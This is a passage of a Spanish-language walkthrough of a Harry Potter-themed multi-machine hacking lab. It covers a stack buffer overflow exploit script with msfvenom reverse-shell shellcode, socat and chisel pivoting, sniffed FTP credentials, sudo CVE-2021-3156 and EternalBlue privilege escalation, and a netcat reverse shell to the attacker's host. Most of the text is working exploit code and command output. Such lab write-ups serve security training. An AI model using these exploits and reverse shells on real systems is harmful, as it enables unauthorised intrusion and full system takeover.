0xffffcd68│+0x0008: "gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsa[...]"
0xffffcd6c│+0x000c: "haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabta[...]"
0xffffcd70│+0x0010: "iaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabua[...]"
0xffffcd74│+0x0014: "jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabva[...]"
0xffffcd78│+0x0018: "kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwa[...]"
0xffffcd7c│+0x001c: "laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxa[...]"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x62616164
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "server_hogwarts", stopped 0x62616164 in ?? (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ pattern offset $eip
[+] Searching for '$eip'
[+] Found at offset 112 (little-endian search) likely
[+] Found at offset 304 (big-endian search)
En este punto ya sabemos que necesitamos introducir 112 A
s hasta llegar al eip
. Lo comprobamos generando un payload con python
1
2
❯ python3 -c 'print("A"*112 + "B"*4 + "C"*100)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffccec → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebx : 0x41414141 ("AAAA"?)
$ecx : 0xffffcf80 → 0x00000a ("\n"?)
$edx : 0xffffcdc4 → 0x00000a ("\n"?)
$esp : 0xffffcd60 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
$ebp : 0x41414141 ("AAAA"?)
$esi : 0x80b3158 → "../csu/libc-start.c"
$edi : 0xffffd2a8 → "\nEnter your spell: "
$eip : 0x42424242 ("BBBB"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcd60│+0x0000: "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]" ← $esp
0xffffcd64│+0x0004: "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0xffffcd68│+0x0008: "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0xffffcd6c│+0x000c: "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0xffffcd70│+0x0010: "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0xffffcd74│+0x0014: "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0xffffcd78│+0x0018: "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0xffffcd7c│+0x001c: "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x42424242
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "server_hogwarts", stopped 0x42424242 in ?? (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
En este punto observamos que eip
vale 0x42424242
que corresponden a las 4 B’s que hemos introducido en el payload. El esp
apunta al comienzo de nuestras C’s. Hay que lograr que eip
apunte a una dirección la cual aplique a nivel de Op. Code (Operation Code) un JUMP al esp
para que una vez entre en el esp
en lugar de insertar C’s podamos insertar shellcode que nos va a garantizar ejecución en la pila. Antes de empezar el script generamos el shellcode con la herramienta msfvenom
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.148 LPORT=443 -b "\x00" -f py -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of py file: 550 bytes
shellcode = b""
shellcode += b"\xda\xcd\xd9\x74\x24\xf4\xba\xdd\x4d\x93\xc6"
shellcode += b"\x5d\x2b\xc9\xb1\x12\x31\x55\x17\x03\x55\x17"
shellcode += b"\x83\x30\xb1\x71\x33\xfb\x91\x81\x5f\xa8\x66"
shellcode += b"\x3d\xca\x4c\xe0\x20\xba\x36\x3f\x22\x28\xef"
shellcode += b"\x0f\x1c\x82\x8f\x39\x1a\xe5\xe7\x79\x74\x14"
shellcode += b"\x63\x11\x87\x17\x8a\x59\x0e\xf6\x3c\xfb\x41"
shellcode += b"\xa8\x6f\xb7\x61\xc3\x6e\x7a\xe5\x81\x18\xeb"
shellcode += b"\xc9\x56\xb0\x9b\x3a\xb6\x22\x35\xcc\x2b\xf0"
shellcode += b"\x96\x47\x4a\x44\x13\x95\x0d"
Debemos saber el operation code correspondiente al salto al esp
. Utilizaremos la apliación nasm_shell.rb
del framework metasploit. El operation code es FFE4
1
2
3
❯ /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp ESP
00000000 FFE4 jmp esp
Con la herramienta objdump
vemos que direcciones hay donde se aplica el salto al esp
. Encontramos la dirección 8049d55
1
2
3
4
5
6
7
8
❯ objdump -D server_hogwarts| grep "ff e4"
8049d55: ff e4 jmp *%esp
80b322c: 81 73 f6 ff e4 73 f6 xorl $0xf673e4ff,-0xa(%ebx)
80b3253: ff 91 73 f6 ff e4 call *-0x1b00098d(%ecx)
80b500f: ff e4 jmp *%esp
80b51ef: ff e4 jmp *%esp
80b546f: ff e4 jmp *%esp
80d0717: ff e4 jmp *%esp
El script quedaría definido de la siguiente forma
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python3
import socket
offset = 112
before_eip = b"A" * offset
eip = b"\x55\x9d\x04\x08" # 8049d55 -> jmp ESP
shellcode = b""
shellcode += b"\xda\xcd\xd9\x74\x24\xf4\xba\xdd\x4d\x93\xc6"
shellcode += b"\x5d\x2b\xc9\xb1\x12\x31\x55\x17\x03\x55\x17"
shellcode += b"\x83\x30\xb1\x71\x33\xfb\x91\x81\x5f\xa8\x66"
shellcode += b"\x3d\xca\x4c\xe0\x20\xba\x36\x3f\x22\x28\xef"
shellcode += b"\x0f\x1c\x82\x8f\x39\x1a\xe5\xe7\x79\x74\x14"
shellcode += b"\x63\x11\x87\x17\x8a\x59\x0e\xf6\x3c\xfb\x41"
shellcode += b"\xa8\x6f\xb7\x61\xc3\x6e\x7a\xe5\x81\x18\xeb"
shellcode += b"\xc9\x56\xb0\x9b\x3a\xb6\x22\x35\xcc\x2b\xf0"
shellcode += b"\x96\x47\x4a\x44\x13\x95\x0d"
after_eip = b"\x90"*32 + shellcode # ESP
payload = before_eip + eip + after_eip
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 9898))
s.send(payload)
s.close()
Ejecutamos el binario, nos ponemos en escucha en el puerto 443 y ejectuamos script para comrprobar que funciona de manera local
Ya sabemos que en local funciona por lo que procedemos a modificar el script para ejecutar el BoF en la máquina Fawkes
. Primero debemos generar un shellcode nuevo el cual establezaca la reverse shell a su nodo más cercano que es la máquina Nagini
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.100.129 LPORT=5555 -b "\x00" -f py -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of py file: 550 bytes
shellcode = b""
shellcode += b"\xba\x6d\x91\x8a\x9b\xdb\xce\xd9\x74\x24\xf4"
shellcode += b"\x5d\x29\xc9\xb1\x12\x83\xed\xfc\x31\x55\x0e"
shellcode += b"\x03\x38\x9f\x68\x6e\xf3\x44\x9b\x72\xa0\x39"
shellcode += b"\x37\x1f\x44\x37\x56\x6f\x2e\x8a\x19\x03\xf7"
shellcode += b"\xa4\x25\xe9\x87\x8c\x20\x08\xef\xce\x7b\x8e"
shellcode += b"\x6e\xa6\x79\x4f\x65\x84\xf7\xae\x35\x8c\x57"
shellcode += b"\x60\x66\xe2\x5b\x0b\x69\xc9\xdc\x59\x01\xbc"
shellcode += b"\xf3\x2e\xb9\x28\x23\xfe\x5b\xc0\xb2\xe3\xc9"
shellcode += b"\x41\x4c\x02\x5d\x6e\x83\x45"
Sustituimos el shellcode en el script y modificamos IP. El script se quedaría de la siguiente forma
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python3
import socket
offset = 112
before_eip = b"\x41" * offset
eip = b"\x55\x9d\x04\x08" # 8049d55 -> jmp ESP
shellcode = b""
shellcode += b"\xba\x6d\x91\x8a\x9b\xdb\xce\xd9\x74\x24\xf4"
shellcode += b"\x5d\x29\xc9\xb1\x12\x83\xed\xfc\x31\x55\x0e"
shellcode += b"\x03\x38\x9f\x68\x6e\xf3\x44\x9b\x72\xa0\x39"
shellcode += b"\x37\x1f\x44\x37\x56\x6f\x2e\x8a\x19\x03\xf7"
shellcode += b"\xa4\x25\xe9\x87\x8c\x20\x08\xef\xce\x7b\x8e"
shellcode += b"\x6e\xa6\x79\x4f\x65\x84\xf7\xae\x35\x8c\x57"
shellcode += b"\x60\x66\xe2\x5b\x0b\x69\xc9\xdc\x59\x01\xbc"
shellcode += b"\xf3\x2e\xb9\x28\x23\xfe\x5b\xc0\xb2\xe3\xc9"
shellcode += b"\x41\x4c\x02\x5d\x6e\x83\x45"
after_eip = b"\x90" * 32 + shellcode # ESP
payload = before_eip + eip + after_eip
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.100.130", 9898))
s.send(payload)
s.close()
Tenemos que redirigir el flujo de la conexión con la herramienta socat. Subimos socat a la máquina Nagini y ejecutamos indicando que todas las peticiones que lleguen por el puerto 5555 las redirija a la máquina Aragog por el puerto 5556 y a su vez, en la máquina Aragog decimos con la herramienta socat que todas las peticiones que nos lleguen por el puerto 5556 las redirija a nuestra máquina atacante por el puerto 443. Nos ponemos en escucha y ejecutamos script a través de proxychains
1
2
3
4
5
#NAGINI
root@Nagini:/tmp# ./socat TCP-LISTEN:5555,fork TCP:10.10.0.134:5556
#ARAGOG
root@Aragog:/tmp# ./socat TCP-LISTEN:5556,fork TCP:192.168.1.148:443
Docker Container (Fawkes)
Listamos interfaces de red y vemos que hemos ganado acceso a un contenedor. Si listamos privilegios de sudo vemos que podemos ejecutar cualquier instrucción sin proporcionar contraseña. Migramos a usuario root
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
sudo -l
User harry may run the following commands on 2b1599256ca6:
(ALL) NOPASSWD: ALL
sudo /bin/sh
whoami
root
En el directorio /root
encontramos un Horcrux y un archivo note.txt
1
2
3
4
5
6
7
8
9
10
11
12
cd /root
ls
horcrux1.txt
note.txt
cat horcrux1.txt
horcrux_{NjogSGFSclkgUG90VGVyIGRFc1RyT3llZCBieSB2b2xEZU1vclQ=}
echo "NjogSGFSclkgUG90VGVyIGRFc1RyT3llZCBieSB2b2xEZU1vclQ=" | base64 -d
6: HaRrY PotTer dEsTrOyed by volDeMorT
cat note.txt
Hello Admin!!
We have found that someone is trying to login to our ftp server by mistake.You are requested to analyze the traffic and figure out the user.
Nos dan una pista. Al parecer alguien está tratando de conectarse al servidor FTP y nos piden que analicemos el tráfico para localizar al usuario. Usaremos la herramienta tcpdump
para esta tarea
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
tcpdump -i eth0 port ftp or ftp-data
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
13:24:01.662404 IP 172.17.0.1.44818 > 2b1599256ca6.21: Flags [S], seq 2719636073, win 64240, options [mss 1460,sackOK,TS val 675469876 ecr 0,nop,wscale 7], length 0
13:24:01.662413 IP 2b1599256ca6.21 > 172.17.0.1.44818: Flags [S.], seq 1625148687, ack 2719636074, win 65160, options [mss 1460,sackOK,TS val 1618220132 ecr 675469876,nop,wscale 7], length 0
13:24:01.662425 IP 172.17.0.1.44818 > 2b1599256ca6.21: Flags [.], ack 1, win 502, options [nop,nop,TS val 675469876 ecr 1618220132], length 0
13:24:01.662842 IP 2b1599256ca6.21 > 172.17.0.1.44818: Flags [P.], seq 1:21, ack 1, win 510, options [nop,nop,TS val 1618220133 ecr 675469876], length 20: FTP: 220 (vsFTPd 3.0.3)
13:24:01.662889 IP 172.17.0.1.44818 > 2b1599256ca6.21: Flags [.], ack 21, win 502, options [nop,nop,TS val 675469877 ecr 1618220133], length 0
13:24:01.662929 IP 172.17.0.1.44818 > 2b1599256ca6.21: Flags [P.], seq 1:15, ack 21, win 502, options [nop,nop,TS val 675469877 ecr 1618220133], length 14: FTP: USER neville
13:24:01.662931 IP 2b1599256ca6.21 > 172.17.0.1.44818: Flags [.], ack 15, win 510, options [nop,nop,TS val 1618220133 ecr 675469877], length 0
13:24:01.662972 IP 2b1599256ca6.21 > 172.17.0.1.44818: Flags [P.], seq 21:55, ack 15, win 510, options [nop,nop,TS val 1618220133 ecr 675469877], length 34: FTP: 331 Please specify the password.
13:24:01.663016 IP 172.17.0.1.44818 > 2b1599256ca6.21: Flags [P.], seq 15:30, ack 55, win 502, options [nop,nop,TS val 675469877 ecr 1618220133], length 15: FTP: PASS bL!Bsg3k
13:24:01.704687 IP 2b1599256ca6.21 > 172.17.0.1.44818: Flags [.], ack 30, win 510, options [nop,nop,TS val 1618220175 ecr 675469877], length 0
13:24:05.401490 IP 2b1599256ca6.21 > 172.17.0.1.44818: Flags [P.], seq 55:77, ack 30, win 510, options [nop,nop,TS val 1618223871 ecr 675469877], length 22: FTP: 530 Login incorrect.
13:24:05.401587 IP 172.17.0.1.44818 > 2b1599256ca6.21: Flags [P.], seq 30:36, ack 77, win 502, options [nop,nop,TS val 675473615 ecr 1618223871], length 6: FTP: QUIT
13:24:05.401594 IP 2b1599256ca6.21 > 172.17.0.1.44818: Flags [.], ack 36, win 510, options [nop,nop,TS val 1618223872 ecr 675473615], length 0
Obtenemos unas credenciales del usuario neville
. Logramos conectarnos por ssh a la máquina Fawkes con las credenciales obtenidas. En el directorio personal de neville
encontramos otro horcrux
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ proxychains ssh neville@192.168.100.130
ProxyChains-3.1 (http://proxychains.sf.net)
|D-chain|-<>-127.0.0.1:8888-<>-127.0.0.1:1080-<--timeout
|D-chain|-<>-127.0.0.1:8888-<><>-192.168.100.130:22-<><>-OK
neville@192.168.100.130 s password:
Linux Fawkes 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
neville@Fawkes:~$ ls
horcrux2.txt
neville@Fawkes:~$ cat horcrux2.txt
horcrux_{NzogTmFHaU5pIHRIZSBTbkFrZSBkZVN0cm9ZZWQgQnkgTmVWaWxsZSBMb25HYm9UVG9t}
neville@Fawkes:~$ echo "NzogTmFHaU5pIHRIZSBTbkFrZSBkZVN0cm9ZZWQgQnkgTmVWaWxsZSBMb25HYm9UVG9t" | base64 -d; echo
7: NaGiNi tHe SnAke deStroYed By NeVille LonGboTTom
Escalada de Privilegios (Fawkes)
Listamos archivos de la máquina con privilegios SUID y vemos que sudo está. Verificamos la versión de sudo que es la 1.8.27
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
neville@Fawkes:~$ cd /
neville@Fawkes:/$ find \-perm -4000 2>/dev/null
./usr/local/bin/sudo
./usr/bin/newgrp
./usr/bin/chfn
./usr/bin/mount
./usr/bin/su
./usr/bin/passwd
./usr/bin/chsh
./usr/bin/gpasswd
./usr/bin/umount
./usr/lib/openssh/ssh-keysign
./usr/lib/dbus-1.0/dbus-daemon-launch-helper
./usr/lib/eject/dmcrypt-get-device
neville@Fawkes:/$ sudo --version
Sudo version 1.8.27
Sudoers policy plugin version 1.8.27
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.27
Viendo la versión de sudo sabemos que es vulnerable a CVE-2021-3156 por lo que podemos utilizar el exploit exploit_nss.py
del repositorio de GitHub de worawit para elevar privilegios. Debemos modificar el valor de la variable SUDO_PATH
puesto que está contemplada la ruta /usr/bin/sudo
y nuestro binario se encuentra en /usr/local/bin/sudo
. Una vezs adaptado el script lo ejecutamos y elevamos privilegios. El último horcrux se encuentra ela carpeta /root
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
neville@Fawkes:/tmp$ python3 exploit.py
# whoami
root
# cd /root
# ls
horcrux3.txt
# cat horcrux3.txt
__ __ _ _ _ _
\ \ / /__ | | __| | ___ _ __ ___ ___ _ __| |_ (_)___
\ \ / / _ \| |/ _` |/ _ \ '_ ` _ \ / _ \| '__| __| | / __|
\ V / (_) | | (_| | __/ | | | | | (_) | | | |_ | \__ \
\_/ \___/|_|\__,_|\___|_| |_| |_|\___/|_| \__| |_|___/
_ __ _ _
__| | ___ / _| ___ __ _| |_ ___ __| |
/ _` |/ _ \ |_ / _ \/ _` | __/ _ \/ _` |
| (_| | __/ _| __/ (_| | || __/ (_| |
\__,_|\___|_| \___|\__,_|\__\___|\__,_|
Machine Author: Mansoor R (@time4ster)
Machine Difficulty: Hard
Machine Name: Fawkes
Horcruxes Hidden in this VM: 3 horcruxes
You have successfully pwned Fawkes machine & defeated Voldemort.
Here is your last hocrux: horcrux_{ODogVm9sRGVNb3JUIGRFZmVBdGVkIGJZIGhBcnJZIFBvVFRlUg==}
# For any queries/suggestions feel free to ping me at email: time4ster@protonmail.com
# echo "ODogVm9sRGVNb3JUIGRFZmVBdGVkIGJZIGhBcnJZIFBvVFRlUg==" | base64 -d;echo
8: VolDeMorT dEfeAted bY hArrY PoTTeR
Reconocimiento (Dumbledore)
Técnicas Vistas (Dumbledore):
- Eternalblue (MS17-010) Exploitation in order to gain access to the Dumbledore-PC machine
- Host discovery from Windows MSDOS + ARP command
- Uploading Chisel to the Windows machine
- Creating a new SOCKS5 connection to gain access to the Matrix 1 machine (Triple SOCKS5 Proxy)
Sabemos que la IP de la máquina Dumbledore
es 192.168.100.131, dato que confirmamos cuando creamos el script hostDiscovery.sh en la máquina Nagini. Ahora procedemos a enumerar los puertos abiertos mediante la herramienta nmap
1
2
3
4
5
6
❯ proxychains nmap -sT -Pn --top-ports 500 -open -T5 -v -n 192.168.100.131 2>/dev/null
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Observamos el puerto 445 abierto. Con la ayuda de crackmapexec
vamos a identificar ante que sistema estamos
1
2
3
❯ proxychains crackmapexec smb 192.168.100.131 2>/dev/null
ProxyChains-3.1 (http://proxychains.sf.net)
SMB 192.168.100.131 445 WIN-5OU2D4F1DCJ [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:WIN-5OU2D4F1DCJ) (domain:WIN-5OU2D4F1DCJ) (signing:False) (SMBv1:True)
Siendo un Windows 7 y con el puerto 445 expuesto nos viene a la cabeza la vulnerabiliadad Eternal Blue
. Utilizaremos el repositorio de 3ndG4me
AutoBlue-MS17-010. Nos lo clonamos en nuestro equipo. Primero de todo con el script eternal_checker.py
verificamos que sea vulnerable y no esté parcheado
1
2
3
4
5
6
7
8
❯ proxychains python3 eternal_checker.py 192.168.100.131
ProxyChains-3.1 (http://proxychains.sf.net)
|D-chain|-<>-127.0.0.1:8888-<>-127.0.0.1:1080-<--timeout
|D-chain|-<>-127.0.0.1:8888-<><>-192.168.100.131:445-<><>-OK
[*] Target OS: Windows 7 Professional 7601 Service Pack 1
[!] The target is not patched
=== Testing named pipes ===
[+] Found pipe 'netlogon'
Verificamos que es vulnerable y tenemos named pipes de las que poder abusar. Ejecutamos el script zzz_exploit.py
y ganamos acceso a la máquina Dumbledore
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
❯ proxychains python2 zzz_exploit.py 192.168.100.131
ProxyChains-3.1 (http://proxychains.sf.net)
|D-chain|-<>-127.0.0.1:8888-<>-127.0.0.1:1080-<--timeout
|D-chain|-<>-127.0.0.1:8888-<><>-192.168.100.131:445-<><>-OK
[*] Target OS: Windows 7 Professional 7601 Service Pack 1
[+] Found pipe 'netlogon'
[+] Using named pipe: netlogon
[*] Target is 64 bit
Got frag size: 0x10
GROOM_POOL_SIZE: 0x5030
BRIDE_TRANS_SIZE: 0xfa0
CONNECTION: 0xfffffa8003c13020
SESSION: 0xfffff8a0025e1060
FLINK: 0xfffff8a0026bf088
InParam: 0xfffff8a0026b915c
MID: 0x1a03
[+] success controlling groom transaction
[*] modify trans1 struct for arbitrary read/write
[*] make this SMB session to be SYSTEM
[*] overwriting session security context
[*] have fun with the system smb session!
[!] Dropping a semi-interactive shell (remember to escape special chars with ^)
[!] Executing interactive programs will hang shell!
C:\Windows\system32>whoami
nt authority\system
Ejecutamos ipconfig
y nos revela una segunda interfaz de red con IP 172.18.0.130 correspondiente a otro segmento de red
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
C:\Windows\system32>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection 2:
Connection-specific DNS Suffix . : localdomain
Link-local IPv6 Address . . . . . : fe80::b8e9:748a:86aa:9079%21
IPv4 Address. . . . . . . . . . . : 172.18.0.130
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
Ethernet adapter Bluetooth Network Connection:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : localdomain
Link-local IPv6 Address . . . . . : fe80::2d04:dd66:a8e7:e95d%11
IPv4 Address. . . . . . . . . . . : 192.168.100.131
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
La consola que tenemos de la máquina Dumbledore no es plenamente funcional. Vamos a transferir un binario de la herramienta netcat
desde nuestra máquina atacante. Para ello debemos crear unos túneles para redirigir el flujo de las peticiones
1
2
3
4
5
#NAGINI
root@Nagini:/tmp# ./socat TCP-LISTEN:445,fork TCP:10.10.0.134:445
#ARAGOG
root@Aragog:/tmp# ./socat TCP-LISTEN:445,fork TCP:192.168.1.148:445
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#DUMBLEDORE
C:\Windows\system32>dir \\192.168.100.129\smbFolder\
Volume in drive \\192.168.100.129\smbFolder has no label.
Volume Serial Number is ABCD-EFAA
Directory of \\192.168.100.129\smbFolder
02/11/2023 01:13 PM 828,098 linpeas.sh
02/12/2023 12:30 PM 3,104,768 pspy64
02/12/2023 01:57 PM 8,384,512 chisel
02/12/2023 06:05 PM 375,176 socat
09/16/2011 11:52 PM 38,616 nc.exe
09/16/2011 11:52 PM 45,272 nc64.exe
6 File(s) 12,776,442 bytes
0 Dir(s) 309,135,249,802,944 bytes free
C:\Windows\system32>copy \\192.168.100.129\smbFolder\nc64.exe C:\Windows\Temp\nc.exe
1 file(s) copied.
#ATACANTE
❯ smbserver.py smbFolder $(pwd) -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (192.168.1.142,39530)
[*] AUTHENTICATE_MESSAGE (\,WIN-5OU2D4F1DCJ)
[*] User WIN-5OU2D4F1DCJ\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:smbFolder)
[*] Disconnecting Share(1:IPC$)
[*] Disconnecting Share(2:smbFolder)
[*] Closing down connection (192.168.1.142,39530)
[*] Remaining connections []
[*] Incoming connection (192.168.1.142,39532)
[*] AUTHENTICATE_MESSAGE (\,WIN-5OU2D4F1DCJ)
[*] User WIN-5OU2D4F1DCJ\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Connecting Share(1:smbFolder)
[*] Disconnecting Share(1:smbFolder)
[*] Closing down connection (192.168.1.142,39532)
[*] Remaining connections []
Aprovechamos los túneles creados para enviarnos una reverse shell plenamente funcional a nuestro equipo por el puerto 445
1
2
3
4
5
6
7
8
9
10
11
12
13
#DUMBLEDORE
C:\Windows\system32>C:\Windows\Temp\nc.exe -e cmd 192.168.100.129 445
#ATACANTE
❯ rlwrap nc -nlvp 445
listening on [any] 445 ...
connect to [192.168.1.148] from (UNKNOWN) [192.168.1.142] 39534
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
whoami
whoami
nt authority\system
Para escanear los hosts disponibles en el rango 172.18.0.0/24 aprovecharemos la herramienta ping
y arp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
arp -d
arp -d
for /L %a in (1,1,254) do @start /b ping 172.18.0.%a -w 100 -n 2 >nul
for /L %a in (1,1,254) do @start /b ping 172.18.0.%a -w 100 -n 2 >nul
arp -a
arp -a
Interface: 192.168.100.131 --- 0xb
Internet Address Physical Address Type
192.168.100.129 00-0c-29-52-41-1d dynamic
Interface: 172.18.0.130 --- 0x15
Internet Address Physical Address Type
172.18.0.1 00-50-56-c0-00-04 dynamic
172.18.0.132 00-0c-29-18-a0-c5 dynamic
172.18.0.254 00-50-56-f4-6a-8b dynamic
ping -n 1 172.18.0.132
ping -n 1 172.18.0.132
Pinging 172.18.0.132 with 32 bytes of data:
Reply from 172.18.0.132: bytes=32 time<1ms TTL=64
Ping statistics for 172.18.0.132:
Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
Ya sabemos que la IP de la máquina Matrix es 172.18.0.132. En este punto tenemos que subir la herramienta chisel
a la máquina Dumbledore para crear otro túnel y así tener conectividad con la máquina Matrix desde nuestro equipo atacante
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#DUMBLEDORE
C:\Windows\system32>copy \\192.168.100.129\smbFolder\chisel.exe C:\Windows\Temp\chisel.exe
1 file(s) copied.
#ATACANTE
❯ smbserver.py smbFolder $(pwd) -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
